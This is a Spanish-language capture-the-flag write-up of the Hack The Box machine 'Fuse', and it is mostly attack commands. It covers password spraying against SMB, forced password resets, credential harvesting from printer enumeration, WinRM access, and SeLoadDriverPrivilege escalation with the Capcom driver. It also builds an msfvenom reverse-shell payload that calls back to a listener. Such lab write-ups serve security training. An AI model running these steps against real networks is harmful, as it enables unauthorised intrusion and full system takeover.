lund@home:~$

Autor: Lund K. S.

HTB_Fuse HTB_Fuse | Hacker-Blog

HTB_Fuse

Fuse {-}

Introduccion {-}

La maquina del dia 13/08/2021 se llama Fuse.

El replay del live se puede ver aqui

S4vitaar Fuse maquina

No olvideis dejar un like al video y un commentario…

Enumeracion {-}

Reconocimiento de maquina, puertos abiertos y servicios {-}

Ping {-}

ping -c 1 10.10.10.193

ttl: 127 -> maquina Windows

Nmap {-}

nmap -p- --open -T5 -v -n 10.10.10.193

Va lento

nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.193 -oG allPorts 
extractPorts allPorts
nmap -sC -sV -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49666,49667,49675,49676,49680,49698,49761 10.10.10.193 -oN targeted
Puerto Servicio Que se nos occure? Que falta?
53 domain Domain controller rpcclient null session  
80 http Web, Fuzzing  
88 Kerberos asproasting attack lista de usuarios validos
135 msrpc    
139 netbios    
389 LDAP Bloodhound credenciales
445 smb Null session  
464 kpasswd5?    
593 ncacn_http    
636 tcpwrapped    
3268 ldap    
3269 tcpwrapped    
5985 WinRM evil-winrm credenciales
9389 mc-nmf Puertos por defecto de windows  
49666 msrpc Puertos por defecto de windows  
49667 msrpc Puertos por defecto de windows  
49675 msrpc Puertos por defecto de windows  
49676 ncacn_http Puertos por defecto de windows  
49680 msrpc Puertos por defecto de windows  
49698 msrpc Puertos por defecto de windows  
49761 msrpc Puertos por defecto de windows  

Analyzando el SMB {-}

crackmapexec smb 10.10.10.193
smbclient -L 10.10.10.193 -N

Vemos que estamos en frente de una maquina Windows Server 2016 Standard de 64 bit pro que se llama FUSE en el dominio fabricorp.local. No vemos ningun recursos compartidos a nivel de red. Añadimos el dominio a nuestro /etc/hosts.

Buscando ususarios con rpcclient y rpcenum {-}

rpcclient -U "" 10.10.10.193 -N

rpcclient $> enumdomusers

Aqui vemos un Access Denied.

Analyzando la web {-}

Whatweb {-}

whatweb http://10.10.10.193

Vemos una vez mas que estamos en frente de una IIS pero nada mas. Seguimos checkeando la web.

Checkear la web {-}

Sabemos que es un IIS 10.0 con asp.net. Hay una redireccion automatica a fuzse.fabricorp.local y vemos que estamos en frente de un servicio de impressora. Miramos los logs print y vemos una columna interesante que es la de Users.

Nos creamos un fichero users y copiamos los usuarios de la web.

Ya que tenemos un fichero con contraseñas, intentamos fuerza bruta con crackmapexec.

Vulnerability Assessment {-}

Crackeo con diccionario {-}

Como tenemos una lista de usuarios potenciales, intentamos combinar los usuarios poniendo como contraseña los mismos usuarios. Esto se hace con crackmapexec de la siguiente forma.

crackmapexec smb 10.10.10.193 -u users -p users

Esto no nos da nada. Intentamos crear un diccionario con la palabras encontrada en la web con CEWL

Creando un diccionario desde una pagina web con CEWL {-}

cewl -w passwords http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers

Intentamos otravez el crackeo con crackmapexec

crackmapexec smb 10.10.10.193 -u users -p passwords --continue-on-success | grep -v -i "failure"

Aqui vemos algo interesante:

fabricorp.local\tlavel:Fabricorp01 STATUS_PASSWORD_MUST_CHANGE
fabricorp.local\bhult:Fabricorp01 STATUS_PASSWORD_MUST_CHANGE

Aqui crackmapexec nos dice que a encontrado contraseñas pero son contraseñas por defectos que se tienen que modificar. Las vamos a cambiar con la utilidad smbpasswd

Cambiando contraseñas con smbpasswd {-}

smbpasswd -r 10.10.10.193 -U "bhult"
> Old SMB password: Fabricorp01
> New SMB password: S4vitar123$!
> Retype new SMB password: S4vitar123$!

Password changed for user bhult on 10.10.10.193

Lo miramos con crackmapexec

crackmapexec smb 10.10.10.193 -u "bhult" -p 'S4vitar123$!'

Ya vemos que hay un [+] lo que quiere decir que tenemos credenciales validas.

Intentamos connectarnos con rpcclient

rpcclient -U 'bhult%S4vitar123$!' 10.10.10.193

Nos pone un logon failure. Nos hace pensar que hay como una tarea que cambia la contraseña despues de un momento, intentamos hacer lo mismo pero un poco mas rapido.

smbpasswd -r 10.10.10.193 -U "bhult"
> Old SMB password: Fabricorp01
> New SMB password: S4vitar123$!
> Retype new SMB password: S4vitar123$!

Password changed for user bhult on 10.10.10.193

rpcclient -U 'bhult%S4vitar123$!' 10.10.10.193

Ya estamos a dentro.

Enumerando la maquina con rpcclient {-}

enumdomusers

Como hay un printer, tambien se puede enumerar impresoras.

enumprinters

Aqui nos sale una contraseña.

  1. Copiamos los usuarios

     echo "user:[Administrator] rid:[0x1f4]
     user:[Guest] rid:[0x1f5]
     user:[krbtgt] rid:[0x1f6]
     user:[DefaultAccount] rid:[0x1f7]
     user:[svc-print] rid:[0x450]
     user:[bnielson] rid:[0x451]
     user:[sthompson] rid:[0x641]
     user:[tlavel] rid:[0x642]
     user:[pmerton] rid:[0x643]
     user:[svc-scan] rid:[0x645]
     user:[bhult] rid:[0x1bbd]
     user:[dandrews] rid:[0x1bbe]
     user:[mberbatow] rid:[0x1db1]
     user:[astein] rid:[0x1db2]
     user:[dmuir] rid:[0x1db3]" | grep -oP '\[.*?\]' | grep -v "0x" | tr -d '[]' > users
    
  2. Checkeamos con crackmapexec que usuario tiene la contraseña encontrado con enumprinters

     crackmapexec smb 10.10.10.193 -u users -p '$fab@s3Rv1ce$1'
    

Aqui vemos que tenemos una credencial valida para el usuario svc-print. Aqui vamos a intentar ganar accesso al systema con WinRM.

Vuln exploit & Gaining Access {-}

Ganando accesso con Win-RM {-}

crackmapexec winrm 10.10.10.193 -u 'svc-print' -p '$fab@s3Rv1ce$1'

Aqui vemos quel usuario es (Pwn3d!)

evil-winrm -i 10.10.10.161 -u 'svc-print' -p '$fab@s3Rv1ce$1'

ya estamos a dentro de la maquina y podemos ver la flag del usuario.

Privilege Escalation {-}

Rootear la maquina {-}

Enumeamos los privilegios del ususarios

whoami /priv
whoami /all

Vemos quel usuario tiene un privilegio SeLoadDriverPrivilege. Miramos en la web si se puede escalar privilegios con esto.

En firefox buscamos con SeLoadDriverPrivilege exploit y caemos en la web de tarlogic.

Aqui S4vitar nos recomienda trabajar desde una maquina Windows con Visual studio 19 installado para buildear el exploit.

Crando el exploit LoadDriver.exe desde la maquina windows {-}

  1. creamos una carpeta de trabajo llamado fuse
  2. desde visual studio creamos un nuevo proyecto llamado LoadDriver de typo Console App
  3. copiamos el contenido del fichero eoploaddriver en el ficher Source Files/LoadDriver.cpp del proyecto.
  4. eliminamos el primer include que nos da un error #include “stdafx.h y que no es necessario
  5. en visual studio cambiamos el Debug a Realease y le ponemos x64

  6. en el menu le damos a Build -> Rebuild solution Fuse-VS2019

Esto nos cree un fichero LoadDriver.exe que copiamos en una carpeta compiledbinaries.

Recuperamos el capcom.sys {-}

En la web de tarlogic nos dice que necessitamos un fichero llamado capcom.sys lo descargamos desde la web y la copiamos en la carpeta compiledbinaries.

Creamos el ExploitCapcom.exe {-}

En este punto nos tenemos que descargar el fichero ExploitCapcom. Este fichero se tiene que compilar desde Visual Studio.

  1. descargamos el proyecto

     git clone https://github.com/tandasat/ExploitCapcom
    
  2. desde Visual Studio le damos a File -> Open -> Project/Solution
  3. buscamos el .sln y le damos a open

Si abrimos el fichero ExploitCapcom.cpp, la idea aqui seria de modificar el script para que ejecute un binario malicioso creado con msfvenom. Para esto necesitamos modificar la funccion launchSell() del ExploitCapcom.cpp

En la web de AppLockerByPassList, buscamos una routa windows interesante donde se puede trabajar sin problemas, en este caso seria la C:\Windows\System32\spool\drivers\color

  1. Modificamos el script

     static bool launchSell()
     {
         TCHAR CommandLine[] = TEXT("C:\\Windows\\System32\\spool\\drivers\\color\\reverse.exe");
     }
    
  2. Buildeamos el proyecto dandole al menu Build -> Rebuild solution
  3. copiamos el fichero ExploitCapcom.exe en la carpeta compiledbinaries

Passamos los ficheros a la maquina victima {-}

En la carpeta compiledbinaries tenemos nuestros 3 ficheros necesarios para el exploit.

  • Capcom.sys
  • ExploitCapcom.exe
  • LoadDriver.exe

En esta carpeta, montamos un servidor web con python

python3 -m http.server

Desde la maquina de atacante, descargamos estos ficheros

wget http://192.168.1.14:8000/Capcom.sys
wget http://192.168.1.14:8000/ExploitCapcom.exe
wget http://192.168.1.14:8000/LoadDriver.exe

Creamos el reverse.exe con msfvenom

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.8 LPORT=443 -f exe -o reverse.exe

Desde la consola Evil-WinRM de la maquina victima, subimos todo los ficheros

cd C:\Windows\Temp
upload Capcom.sys
upload ExploitCapcom.exe
upload LoadDriver.exe
cd C:\Windows\System32\spool\drivers\color
upload reverse.exe

Lanzamos el exploit {-}

En la maquina de atacante nos ponemos en escucha en el puerto 443

rlwrap nc -nlvp 443

En la maquina victima, lanzamos el exploit

cd C:\Windows\Temp
C:\Windows\Temp\LoadDriver.exe System\CurrentControlSet\savishell C:\Windows\Temp\Capcom.sys
C:\Windows\Temp\ExploitCapcom.exe

La reverse shell nos a funccionado y con whoami vemos que ya somos nt authority\system y podemos ver la flag.